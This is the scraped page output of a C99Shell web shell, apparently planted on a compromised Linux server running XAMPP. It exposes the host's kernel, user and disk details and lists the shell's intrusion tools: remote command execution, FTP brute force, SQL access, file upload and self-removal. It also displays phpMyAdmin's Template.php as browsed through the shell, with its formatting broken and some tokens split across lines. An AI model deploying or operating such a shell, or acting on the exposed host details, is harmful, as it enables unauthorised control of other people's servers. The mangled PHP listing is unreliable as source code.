!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/lampp/phpmyadmin/libraries/classes/   drwxr-xr-x
Free 15.9 GB of 61.93 GB (25.67%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Template.php (4.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
PhpMyAdmin;

use 
PhpMyAdmin\Twig\AssetExtension;
use 
PhpMyAdmin\Twig\CoreExtension;
use 
PhpMyAdmin\Twig\Extensions\Node\TransNode;
use 
PhpMyAdmin\Twig\FlashMessagesExtension;
use 
PhpMyAdmin\Twig\I18nExtension;
use 
PhpMyAdmin\Twig\MessageExtension;
use 
PhpMyAdmin\Twig\RelationExtension;
use 
PhpMyAdmin\Twig\SanitizeExtension;
use 
PhpMyAdmin\Twig\TableExtension;
use 
PhpMyAdmin\Twig\TrackerExtension;
use 
PhpMyAdmin\Twig\TransformationsExtension;
use 
PhpMyAdmin\Twig\UrlExtension;
use 
PhpMyAdmin\Twig\UtilExtension;
use 
RuntimeException;
use 
Throwable;
use 
Twig\Environment;
use 
Twig\Error\LoaderError;
use 
Twig\Error\RuntimeError;
use 
Twig\Error\SyntaxError;
use 
Twig\Extension\DebugExtension;
use 
Twig\Loader\FilesystemLoader;
use 
Twig\RuntimeLoader\ContainerRuntimeLoader;
use 
Twig\TemplateWrapper;

use function 
__;
use function 
is_array;
use function 
sprintf;
use function 
trigger_error;

use const 
E_USER_WARNING;

/**
 * Handle front end templating
 */
class Template
{
    
/**
     * Twig environment
     *
     * @var Environment
     */
    
protected static $twig;

    public const 
TEMPLATES_FOLDER ROOT_PATH 'templates';

    public function 
__construct()
    {
        if (static::
$twig !== null) {
            return;
        }

        
/** @var Config|null $config */
        
$config $GLOBALS['config'];
        
$cacheDir $config !== null $config->getTempDir('twig') : null;

        static::
$twig self::getTwigEnvironment($cacheDir);
    }

    public static function 
getTwigEnvironment(?string $cacheDir): Environment
    
{
        global 
$cfg$containerBuilder;

        
/* Twig expects false when cache is not configured */
        
if ($cacheDir === null) {
            
$cacheDir false;
        }

        
$loader = new FilesystemLoader(self::TEMPLATES_FOLDER);
        
$twig = new Environment($loader, [
            
'auto_reload' => true,
            
'cache' => $cacheDir,
        ]);

        
$twig->addRuntimeLoader(new ContainerRuntimeLoader($containerBuilder));

        if (
is_array($cfg) && ($cfg['environment'] ?? '') === 'development') {
            
$twig->enableDebug();
            
$twig->addExtension(new DebugExtension());
            
// This will enable debug for the extension to print lines
            // It is used in po file lines re-mapping
            
TransNode::$enableAddDebugInfo true;
        }

        if (
$cfg['environment'] === 'production') {
            
$twig->disableDebug();
            
TransNode::$enableAddDebugInfo false;
        }

        
$twig->addExtension(new AssetExtension());
        
$twig->addExtension(new CoreExtension());
        
$twig->addExtension(new FlashMessagesExtension());
        
$twig->addExtension(new I18nExtension());
        
$twig->addExtension(new MessageExtension());
        
$twig->addExtension(new RelationExtension());
        
$twig->addExtension(new SanitizeExtension());
        
$twig->addExtension(new TableExtension());
        
$twig->addExtension(new TrackerExtension());
        
$twig->addExtension(new TransformationsExtension());
        
$twig->addExtension(new UrlExtension());
        
$twig->addExtension(new UtilExtension());

        return 
$twig;
    }

    
/**
     * Loads a template.
     *
     * @param string $templateName Template path name
     *
     * @throws LoaderError
     * @throws RuntimeError
     * @throws SyntaxError
     */
    
private function load(string $templateName): TemplateWrapper
    
{
        try {
            
$template = static::$twig->load($templateName '.twig');
        } catch (
RuntimeException $e) {
            
/* Retry with disabled cache */
            
static::$twig->setCache(false);
            
$template = static::$twig->load($templateName '.twig');
            
/*
             * The trigger error is intentionally after second load
             * to avoid triggering error when disabling cache does not
             * solve it.
             */
            
trigger_error(
                
sprintf(
                    
__('Error while working with template cache: %s'),
                    
$e->getMessage()
                ),
                
E_USER_WARNING
            
);
        }

        return 
$template;
    }

    
/**
     * @param string $template Template path name
     * @param array  $data     Associative array of template variables
     *
     * @throws Throwable
     * @throws LoaderError
     * @throws RuntimeError
     * @throws SyntaxError
     */
    
public function render(string $template, array $data = []): string
    
{
        return 
$this->load($template)->render($data);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.2971 ]--